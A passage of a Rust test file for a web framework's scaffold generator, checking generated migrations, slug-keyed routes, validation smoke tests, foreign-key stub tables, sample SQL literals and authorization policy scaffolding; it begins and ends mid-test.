let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
validations: vec!["title=length:min=1000000000".into()],
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
!test.contains("rejects_invalid_title_and_preserves_input"),
"an absurdly large bound must not generate a smoke test: {test}"
);
}
#[test]
fn scaffold_validation_smoke_test_skips_noop_min_zero_rule() {
// Regression guard (issue #1124 review): `length:min=0` with no `max`
// is a no-op — every string, including blank, already satisfies it.
// Emitting a smoke test that submits a value and asserts 422 anyway
// would fail against the real server. The generator must skip the
// test entirely when this is the only validated field.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
validations: vec!["title=length:min=0".into()],
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
!test.contains("rejects_invalid_title_and_preserves_input"),
"a no-op length:min=0 rule must not generate a smoke test: {test}"
);
}
#[test]
fn scaffold_validation_smoke_test_falls_back_past_noop_rule() {
// When one validated field's rule is a no-op (`length:min=0`) but
// another has a genuinely violatable rule, the smoke test must be
// built around the violatable field instead of skipping entirely.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "body:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
validations: vec![
"title=length:min=0".into(),
"body=length:min=1,max=200".into(),
],
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
test.contains("rejects_invalid_body_and_preserves_input"),
"the violatable body rule must be used instead of the no-op title rule: {test}"
);
assert!(
!test.contains("rejects_invalid_title_and_preserves_input"),
"the no-op title rule must not be used for the smoke test: {test}"
);
}
#[test]
fn scaffold_validation_rejects_min_greater_than_max() {
// Regression guard (issue #1124 review): `length:min=5,max=3` is a
// self-contradictory rule no string can ever satisfy — accepting it
// would generate a field that's permanently invalid and a smoke test
// whose "valid submission" assertion is always false. It must be
// rejected at generate-time instead.
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
validations: vec!["title=length:min=5,max=3".into()],
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap_err();
assert!(
matches!(err, GenerateError::InvalidField { .. }),
"expected min > max to be rejected, got {err:?}"
);
}
#[test]
fn scaffold_multiple_enum_fields_each_use_own_variant_as_other_columns_sample() {
// A second required enum column's raw-INSERT sample value must be one
// of *its own* variants, not the generic `'sample'` placeholder —
// otherwise it would trip its own CHECK too and the test would no
// longer isolate the failure to the column actually under test.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"status:enum{draft,published,archived}".into(),
"priority:enum{low,high}".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
test.contains(
"INSERT INTO posts (status, priority) VALUES ('__not_a_real_variant__', 'low')"
),
"got:\n{test}"
);
assert!(
test.contains(
"INSERT INTO posts (status, priority) VALUES ('draft', '__not_a_real_variant__')"
),
"got:\n{test}"
);
}
#[test]
fn scaffold_enum_rejection_test_isolates_check_failure_from_required_references_field() {
// Regression test: a required `references` field co-occurring with
// the enum field under test must not make the raw out-of-set INSERT
// fail for the wrong reason (an FK violation on a dangling stub-table
// reference) instead of the CHECK constraint actually being tested.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"author:references".into(),
"status:enum{draft,published,archived}".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
test.contains("INSERT INTO authors DEFAULT VALUES;"),
"the stub `authors` table must be seeded so author_id=1 is a valid FK: {test}"
);
assert!(
test.contains(
"INSERT INTO posts (author_id, status) VALUES (1, '__not_a_real_variant__')"
),
"got:\n{test}"
);
}
// ── references field: scaffold + smoke-test wiring (issue #1026) ───────
#[test]
fn scaffold_references_field_emits_fk_column_constraint_and_index() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let up = fs::read_to_string(
tmp.path()
.join("migrations/20260427000000_create_comments/up.sql"),
)
.unwrap();
assert!(
up.contains("post_id BIGINT NOT NULL REFERENCES posts(id)"),
"up.sql: {up}"
);
assert!(
up.contains("CREATE INDEX idx_comments_post_id ON comments (post_id);"),
"up.sql: {up}"
);
}
#[test]
fn scaffold_references_field_warns_when_target_model_missing() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Comment",
&["post:references".into()],
"20260427000000",
)
.unwrap();
// Two warnings: the shared "assuming table exists" one from
// `check_reference_targets`, plus the scaffold-specific note that the
// form falls back to a numeric id input (no schema entry to load
// select options from) and how to get the select instead.
assert_eq!(plan.warnings.len(), 2, "warnings: {:?}", plan.warnings);
assert!(plan.warnings[0].contains("posts"));
assert!(
plan.warnings[1].contains("numeric id input"),
"warnings: {:?}",
plan.warnings
);
assert!(
plan.warnings[1].contains("Generate the 'post' model first"),
"warnings: {:?}",
plan.warnings
);
}
// ── slug (issue #1260) ──────────────────────────────────────────────────
#[test]
fn scaffold_slug_field_migration_is_not_null_and_unique() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let up = fs::read_to_string(
tmp.path()
.join("migrations/20260427000000_create_posts/up.sql"),
)
.unwrap();
assert!(up.contains("slug TEXT NOT NULL"), "up.sql: {up}");
assert!(
up.contains("CREATE UNIQUE INDEX idx_posts_slug_unique ON posts (slug);"),
"up.sql: {up}"
);
}
#[test]
fn scaffold_slug_field_adds_find_by_slug_to_repository_for_free() {
// A slug is implicitly `unique` (dsl.rs), so this falls into the
// existing issue #1032 "every unique field gets a `find_by_<field>`"
// machinery with zero new repository codegen.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let repo = fs::read_to_string(tmp.path().join("src/repositories/post.rs")).unwrap();
assert!(
repo.contains("fn find_by_slug(slug: String) -> Vec<Post>;"),
"repo: {repo}"
);
}
#[test]
fn scaffold_slug_field_routes_key_off_slug_not_id() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains(r#"#[get("/posts/{slug}")]"#), "{routes}");
assert!(
routes.contains(r#"#[get("/posts/{slug}/edit", name = "edit")]"#),
"{routes}"
);
assert!(
routes.contains(r#"#[post("/posts/{slug}/update")]"#),
"{routes}"
);
assert!(
routes.contains(r#"#[post("/posts/{slug}/delete", name = "delete")]"#),
"{routes}"
);
assert!(
routes.contains("Path(__route_key): Path<String>"),
"{routes}"
);
assert!(
routes.contains("posts::table\n .filter(posts::slug.eq(&__route_key))"),
"{routes}"
);
// AC6, falsifiable check: zero `/{id}`-keyed HTML route ATTRIBUTES remain
// for a slug-bearing model (doc comments legitimately still mention the
// still-id-keyed JSON REST API, e.g. `PUT /api/posts/{id}` — that's the
// auto-generated `#[repository]` surface, out of scope here, so this
// checks the `#[get(...)]`/`#[post(...)]` attributes specifically, not
// the whole file).
assert!(!routes.contains(r#"#[get("/posts/{id}"#), "{routes}");
assert!(!routes.contains(r#"#[post("/posts/{id}"#), "{routes}");
assert!(!routes.contains("Path<i64>"), "{routes}");
}
#[test]
fn scaffold_slug_field_show_returns_404_on_miss() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains(
" .first(&mut *db)\n .await\n .map_err(AutumnError::not_found)?;"
),
"show/edit must map a missing row to a 404 via AutumnError::not_found: {routes}"
);
}
#[test]
fn scaffold_slug_field_create_auto_derives_when_blank_with_collision_suffix() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("let mut new = into_new(changeset.data())?;"),
"{routes}"
);
assert!(routes.contains("if new.slug.is_empty() {"), "{routes}");
assert!(
routes.contains("let base = autumn_web::slugify(&new.title);"),
"{routes}"
);
assert!(
routes.contains("candidate = format!(\"{base}-{suffix}\");"),
"{routes}"
);
assert!(routes.contains("new.slug = candidate;"), "{routes}");
}
#[test]
fn scaffold_slug_field_update_also_auto_derives_when_blank() {
// AC4's blank-derives-a-slug behavior isn't create-only: the form
// exposes the slug as a plain optional input on BOTH create and
// edit, so clearing it on edit must re-derive too, or the record's
// NOT NULL column ends up literally "" and its own `/{slug}` route
// becomes unreachable (issue #1260 review finding).
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Both the `create` AND `update` handlers get a derive block — assert
// it appears twice, not just once (i.e. not only on create).
assert_eq!(
routes.matches("if new.slug.is_empty() {").count(),
2,
"expected a derive block in both create and update: {routes}"
);
// The update path's collision probe excludes the record's own
// current row (identified by the path extractor's old value),
// otherwise a no-op re-derivation of an unchanged title would
// spuriously collide with itself.
assert!(
routes.contains(
"posts::table\n .filter(posts::slug.eq(&candidate))\n \
.filter(posts::slug.ne(&__route_key))"
),
"{routes}"
);
}
#[test]
fn scaffold_slug_field_update_redirects_to_the_persisted_slug_not_the_stale_path_value() {
// If the user changes (or blanks and re-derives) the slug on edit,
// the success redirect must resolve the JUST-PERSISTED value —
// redirecting to the old path-extractor value 404s (issue #1260
// review finding).
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains(
"flash.success(\"Post updated\").await;\n \
Ok(autumn_web::Redirect::to(&paths::show(&new.slug)).into_response())"
),
"{routes}"
);
}
#[test]
fn scaffold_slug_field_named_like_an_extractor_param_does_not_collide() {
// Review finding: a slug field literally named `db` (a valid
// `snake_case` declaration, `db:slug{from:title}`) previously
// destructured straight to `Path(db): Path<String>`, colliding with
// the SAME handler's own `mut db: Db` extractor parameter — a
// duplicate-binding compile error. `flash`/`body`/`csrf`/`session`
// are the same class of bug. The extractor must bind to a fixed
// internal name regardless of the field's actual name.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "db:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// The extractor's local binding is the fixed internal name, not `db`.
assert!(
routes.contains("Path(__route_key): Path<String>"),
"{routes}"
);
assert!(!routes.contains("Path(db): Path<String>"), "{routes}");
// The URL placeholder and schema column still use the real field name.
assert!(routes.contains(r#"#[get("/posts/{db}")]"#), "{routes}");
assert!(
routes.contains("posts::table\n .filter(posts::db.eq(&__route_key))"),
"{routes}"
);
// No handler signature now declares `db` twice (once as the route-key
// extractor, once as `mut db: Db`) — every `show`/`edit`/`update`/
// `destroy` still gets exactly one `db: Db`/`mut db: Db` parameter.
// Scan the parameter list between `fn <handler>(` and the matching
// `{` that opens the function body.
for handler in ["fn show(", "fn edit_form(", "fn update(", "fn destroy("] {
let start = routes.find(handler).unwrap_or_else(|| {
panic!("missing handler {handler} in generated routes: {routes}")
});
let body_start = routes[start..]
.find(" -> AutumnResult")
.unwrap_or_else(|| routes[start..].find('{').unwrap());
let sig = &routes[start..start + body_start];
assert_eq!(
sig.matches("db: ").count(),
1,
"handler signature declares `db` more than once: {sig}"
);
}
}
#[test]
fn scaffold_slug_field_collision_loop_never_settles_on_the_reserved_new_segment() {
// `GET /{plural}/new` is a static route; axum's router always prefers
// it over the `GET /{plural}/{slug}` capture, so a record whose slug
// were literally "new" would be permanently unreachable at its own
// show page. The derive loop must keep probing past it.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("if count == 0 && candidate != \"new\" {"),
"{routes}"
);
}
#[test]
fn scaffold_slug_field_collision_loop_also_reserves_search_when_searchable() {
// `--searchable` emits a second static sibling route, `GET
// /{plural}/search`, which the router would likewise prefer over
// `GET /{plural}/{slug}` for a record whose derived slug were
// literally "search".
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
searchable: vec!["title".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("if count == 0 && candidate != \"new\" && candidate != \"search\" {"),
"{routes}"
);
}
#[test]
fn scaffold_slug_field_form_input_is_not_required() {
// AC4's auto-derive-on-blank only ever runs if a blank submission can
// reach the server: a plain HTML5 `required` attribute on the slug
// input would have the browser block submission first. The DB column
// stays `NOT NULL` (AC3); only the form control must render as
// optional (the issue's own words: "the generated form may expose it
// as a plain optional text input").
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains(".exclude(\"slug\")"),
"the slug field must be excluded from the derived (required-by-default) \
control so it can be re-appended as optional: {routes}"
);
assert!(
routes.contains("autumn_web::a11y::TextField::new(\"slug\")"),
"{routes}"
);
// The appended slug control must never carry `.required()` — grab the
// slice from its `TextField::new` call up to the next field's block
// (or the appends' end) and check `.required()` doesn't appear in it.
let start = routes
.find("autumn_web::a11y::TextField::new(\"slug\")")
.expect("slug TextField control");
let end = routes[start..]
.find("}})")
.map_or(routes.len(), |i| start + i);
let slug_control = &routes[start..end];
assert!(
!slug_control.contains(".required()"),
"slug control must not be required: {slug_control}"
);
}
#[test]
fn scaffold_slug_field_index_and_show_links_use_slug_not_id() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("paths::show(&row.slug)"), "{routes}");
assert!(routes.contains("paths::edit(&row.slug)"), "{routes}");
assert!(!routes.contains("paths::show(row.id)"), "{routes}");
assert!(!routes.contains("paths::edit(row.id)"), "{routes}");
}
#[test]
fn scaffold_slug_requires_from_modifier() {
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug".into()],
"20260427000000",
)
.unwrap_err();
assert!(err.to_string().contains("from"), "{err}");
}
#[test]
fn scaffold_slug_from_unknown_field_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&["slug:slug{from:headline}".into()],
"20260427000000",
)
.unwrap_err();
assert!(err.to_string().contains("headline"), "{err}");
}
#[test]
fn scaffold_slug_with_live_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
&ScaffoldOptions {
live: true,
..ScaffoldOptions::default()
},
)
.unwrap_err();
assert!(
err.to_string().contains("--live"),
"expected a `--live` rejection, got: {err}"
);
}
#[test]
fn scaffold_slug_with_sharded_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
sharded: true,
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap_err();
assert!(
err.to_string().contains("--sharded"),
"expected a `--sharded` rejection, got: {err}"
);
}
#[test]
fn scaffold_slug_with_attachment_field_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"slug:slug{from:title}".into(),
"cover:Attachment".into(),
],
"20260427000000",
)
.unwrap_err();
assert!(err.to_string().contains("Attachment"), "{err}");
}
#[test]
fn scaffold_slug_with_state_machine_field_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"slug:slug{from:title}".into(),
"status:String:states(draft -> published)".into(),
],
"20260427000000",
)
.unwrap_err();
assert!(err.to_string().contains("states"), "{err}");
}
#[test]
fn scaffold_slug_from_defaulted_field_is_rejected() {
// A `--default` column is dropped from the generated `New{Pascal}`
// insert struct entirely (issue #1260 review finding), so the create
// handler's `new.{from}` read would not compile.
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "slug:slug{from:title}".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
defaults: vec!["title=Untitled".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap_err();
let msg = err.to_string();
assert!(
msg.contains("title") && msg.contains("default"),
"unexpected error: {msg}"
);
}
#[test]
fn scaffold_smoke_test_creates_a_stub_referenced_table_before_the_real_one() {
// The generated smoke test runs in its own throwaway `TestDb` (one
// Postgres testcontainer per `tests/*.rs` binary, per-process — see
// `TestDb::shared()`), so it can't rely on some *other* scaffolded
// resource's smoke test having already created the referenced table.
// A `CREATE TABLE comments (... REFERENCES posts(id) ...)` would fail
// with "relation posts does not exist" unless the comments smoke test
// creates a minimal stand-in `posts` table itself first.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/comment.rs")).unwrap();
let stub_pos = test
.find("CREATE TABLE IF NOT EXISTS posts")
.unwrap_or_else(|| panic!("expected a stub `posts` table in the smoke test: {test}"));
let real_pos = test.find("CREATE TABLE comments").unwrap_or_else(|| {
panic!("expected the real `comments` table in the smoke test: {test}")
});
assert!(
stub_pos < real_pos,
"the stub referenced table must be created before the table under test: {test}"
);
}
#[test]
fn scaffold_smoke_test_emits_one_stub_per_distinct_reference_target() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Follow",
&["follower:references".into(), "followee:references".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/follow.rs")).unwrap();
assert!(test.contains("CREATE TABLE IF NOT EXISTS followers"));
assert!(test.contains("CREATE TABLE IF NOT EXISTS followees"));
}
#[test]
fn render_reference_stub_tables_sql_dedupes_identical_targets() {
// Two references that resolve to the same target table must only
// emit one `CREATE TABLE IF NOT EXISTS` for it. Constructed directly
// (bypassing `parse_fields`, which enforces unique column names) so
// the collision is deterministic rather than relying on two English
// words coincidentally pluralising to the same string.
let fields = vec![
Field {
name: "author_id".to_string(),
kind: FieldKind::References,
nullable: false,
variants: Vec::new(),
unique: false,
constraints: FieldConstraints::default(),
state_machine: None,
},
Field {
name: "author_id".to_string(),
kind: FieldKind::References,
nullable: true,
variants: Vec::new(),
unique: false,
constraints: FieldConstraints::default(),
state_machine: None,
},
];
assert_eq!(
fields[0].reference_table(),
fields[1].reference_table(),
"test setup: both fields must target the same table"
);
let sql =
render_reference_stub_tables_sql(DatabaseBackend::Postgres, &fields, "unrelated_table");
assert_eq!(
sql.matches("CREATE TABLE IF NOT EXISTS").count(),
1,
"identical targets must be de-duplicated: {sql}"
);
}
#[test]
fn render_reference_stub_tables_sql_seeds_a_row_so_fk_id_1_is_valid() {
// Regression test: a raw INSERT the smoke test issues against the
// table under test (e.g. the enum out-of-set rejection test) uses a
// NOT NULL `references` column's sample literal ("1" — see
// `sql_sample_literal`); without a seeded row, that INSERT would
// fail on the FK constraint regardless of what it's actually trying
// to exercise. Two rows are seeded (ids 1 and 2) — the second is for
// `unique_sample_literal_variant`'s "1" (target) vs. "2" (a
// non-target `unique references` column in the duplicate insert)
// distinction; see that function's doc comment.
let fields = super::super::dsl::parse_fields(&["author:references".into()]).unwrap();
let sql = render_reference_stub_tables_sql(DatabaseBackend::Postgres, &fields, "posts");
assert_eq!(
sql,
"CREATE TABLE IF NOT EXISTS authors (id BIGSERIAL PRIMARY KEY);\n\
INSERT INTO authors DEFAULT VALUES;\n\
INSERT INTO authors DEFAULT VALUES;\n",
"got:\n{sql}"
);
}
#[test]
fn render_reference_stub_tables_sql_seeds_only_once_per_distinct_target() {
let fields = vec![
Field {
name: "author_id".to_string(),
kind: FieldKind::References,
nullable: false,
variants: Vec::new(),
unique: false,
constraints: FieldConstraints::default(),
state_machine: None,
},
Field {
name: "author_id".to_string(),
kind: FieldKind::References,
nullable: true,
variants: Vec::new(),
unique: false,
constraints: FieldConstraints::default(),
state_machine: None,
},
];
let sql =
render_reference_stub_tables_sql(DatabaseBackend::Postgres, &fields, "unrelated_table");
assert_eq!(
sql.matches("CREATE TABLE IF NOT EXISTS authors").count(),
1,
"two fields pointing at the same target must still only stub \
(and seed) that table once, not once per field; got:\n{sql}"
);
assert_eq!(
sql.matches("INSERT INTO authors DEFAULT VALUES;").count(),
2,
"got:\n{sql}"
);
}
#[test]
fn render_reference_stub_tables_sql_skips_own_table() {
// A self-referential `references` field (e.g. `Category` with
// `category:references`) targets the model's own table, which the
// real (non-`IF NOT EXISTS`) `CREATE TABLE` creates right after —
// stubbing it first would collide with that statement.
let fields = super::super::dsl::parse_fields(&["category:references".into()]).unwrap();
assert_eq!(fields[0].reference_table().as_deref(), Some("categories"));
let sql =
render_reference_stub_tables_sql(DatabaseBackend::Postgres, &fields, "categories");
assert!(sql.is_empty(), "must not stub the model's own table: {sql}");
}
#[test]
fn scaffold_self_referential_reference_compiles_one_create_table() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Category",
&["name:String".into(), "category:references".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/category.rs")).unwrap();
assert_eq!(
test.matches("CREATE TABLE").count(),
1,
"a self-referential FK must not stub its own table before creating it for real: {test}"
);
assert!(test.contains("category_id BIGINT NOT NULL REFERENCES categories(id)"));
}
// ── decimal sample literals fit tightly-scaled columns (issue #1038) ────
#[test]
fn decimal_literal_at_scale_never_reaches_one() {
// Every sample literal must stay strictly under `1` for scale >= 1,
// so it fits even the tightest valid column (`decimal{scale,scale}`,
// whose range is `(-1,1)`) regardless of how large `precision` is.
for scale in 1..=6 {
for digit in [1, 2, 3] {
let literal = decimal_literal_at_scale(scale, digit);
let value: f64 = literal.parse().unwrap();
assert!(
value.abs() < 1.0,
"decimal_literal_at_scale({scale}, {digit}) = {literal} must be < 1"
);
}
}
}
#[test]
fn decimal_sample_literals_are_pairwise_distinct_at_every_scale() {
for scale in 0..=6 {
let a = sql_sample_literal(
DatabaseBackend::Postgres,
FieldKind::Decimal {
precision: scale.max(1) + 1,
scale,
},
);
let b = unique_sample_literal(
DatabaseBackend::Postgres,
FieldKind::Decimal {
precision: scale.max(1) + 1,
scale,
},
);
let c = unique_sample_literal_variant(
DatabaseBackend::Postgres,
FieldKind::Decimal {
precision: scale.max(1) + 1,
scale,
},
);
assert!(a != b && b != c && a != c, "scale {scale}: {a}, {b}, {c}");
}
}
#[test]
fn json_sample_literals_are_pairwise_distinct_and_valid_jsonb() {
let a = sql_sample_literal(DatabaseBackend::Postgres, FieldKind::Json);
let b = unique_sample_literal(DatabaseBackend::Postgres, FieldKind::Json);
let c = unique_sample_literal_variant(DatabaseBackend::Postgres, FieldKind::Json);
assert!(a != b && b != c && a != c, "{a}, {b}, {c}");
for literal in [&a, &b, &c] {
assert!(
literal.ends_with("'::jsonb"),
"must be a jsonb-cast SQL literal: {literal}"
);
let inner = literal
.trim_start_matches('\'')
.trim_end_matches("'::jsonb");
assert!(
serde_json::from_str::<serde_json::Value>(inner).is_ok(),
"{literal} must contain valid JSON"
);
}
}
#[test]
fn json_seed_value_varies_per_row_for_unique_columns() {
// Issue #1341 review: a constant `'{}'::jsonb` for every row (the
// `sql_sample_literal` fallback) would collide on the very first
// re-insert for a `unique` json column in the `--api` smoke test's
// 25-row (`API_SMOKE_TEST_SEED_ROWS`) seed — must vary with `g`, same
// as the text/numeric/timestamp arms.
let f = csv_test_field("config", FieldKind::Json, false);
let expr = sql_seed_value_expr(DatabaseBackend::Postgres, &f);
assert!(
expr.contains(" g "),
"must vary per row via the generate_series index: {expr}"
);
assert!(
expr.ends_with("::jsonb"),
"must be a jsonb-cast expression: {expr}"
);
assert!(
serde_json::from_str::<serde_json::Value>("{\"seed\": 1}").is_ok(),
"sanity: the woven shape is valid JSON"
);
}
#[test]
fn enum_rejection_insert_sql_fits_tightly_scaled_decimal_column() {
// Regression test: a `decimal{1,1}` column (valid range `(-1,1)`)
// combined with a required enum column used to get a fixed "1.0"
// sample literal from `sql_sample_literal`, which Postgres's
// `NUMERIC(1,1)` rejects as a numeric field overflow — breaking a
// generated test that has nothing to do with the enum behavior it's
// meant to exercise.
let status = Field {
name: "status".to_string(),
kind: FieldKind::Enum,
nullable: false,
variants: vec!["a".to_string(), "b".to_string()],
unique: false,
constraints: FieldConstraints::default(),
state_machine: None,
};
let weight = Field {
name: "weight".to_string(),
kind: FieldKind::Decimal {
precision: 1,
scale: 1,
},
nullable: false,
variants: Vec::new(),
unique: false,
constraints: FieldConstraints::default(),
state_machine: None,
};
let fields = vec![status.clone(), weight];
let sql = enum_rejection_insert_sql(
DatabaseBackend::Postgres,
"items",
&fields,
&status,
&BTreeMap::new(),
);
assert!(
sql.contains("weight) VALUES ('__not_a_real_variant__', 0.1)"),
"expected a scale-fitting 0.1 literal for NUMERIC(1,1), got: {sql}"
);
}
#[test]
fn scaffold_decimal_field_warns_when_existing_rust_decimal_dep_lacks_diesel_feature() {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname=\"x\"\n\n[dependencies]\nrust_decimal = \"1\"\n",
)
.unwrap();
let plan = plan_scaffold(
tmp.path(),
"Product",
&["price:decimal".into()],
"20260427000000",
)
.unwrap();
assert_eq!(plan.warnings.len(), 1, "warnings: {:?}", plan.warnings);
assert!(plan.warnings[0].contains("rust_decimal"));
assert!(plan.warnings[0].contains("db-diesel2-postgres"));
}
// ── Record-level authorization scaffolding (issue #1125) ───────────────
fn scaffold_paths(plan: &Plan) -> Vec<String> {
plan.actions
.iter()
.map(|a| {
a.path()
.strip_prefix(&plan.project_root)
.unwrap()
.display()
.to_string()
.replace('\\', "/")
})
.collect()
}
fn action_contents(plan: &Plan, suffix: &str) -> String {
plan.actions
.iter()
.find(|a| {
a.path()
.to_string_lossy()
.replace('\\', "/")
.ends_with(suffix)
})
.map(|a| match a {
Action::Create { contents, .. } | Action::Modify { contents, .. } => {
contents.clone()
}
_ => String::new(),
})
.unwrap_or_default()
}
#[test]
fn default_scaffold_emits_policy_file_and_registration() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "user_id:i64".into()],
"20260427000000",
)
.unwrap();
let paths = scaffold_paths(&plan);
assert!(
paths.iter().any(|p| p == "src/policies/post.rs"),
"{paths:?}"
);
assert!(
paths.iter().any(|p| p == "src/policies/mod.rs"),
"{paths:?}"
);
let policy = action_contents(&plan, "src/policies/post.rs");
assert!(
policy.contains("impl Policy<Post> for PostPolicy"),
"{policy}"
);
assert!(policy.contains("Some(post.user_id)"), "{policy}");
let main = action_contents(&plan, "src/main.rs");
assert!(
main.contains(".policy::<crate::models::post::Post, _>"),
"{main}"
);
assert!(
main.contains(".scope::<crate::models::post::Post, _>"),
"{main}"
);
assert!(main.contains("mod policies;"), "{main}");
}
#[test]
fn owner_scaffold_authorizes_mutating_handlers_and_scopes_index() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
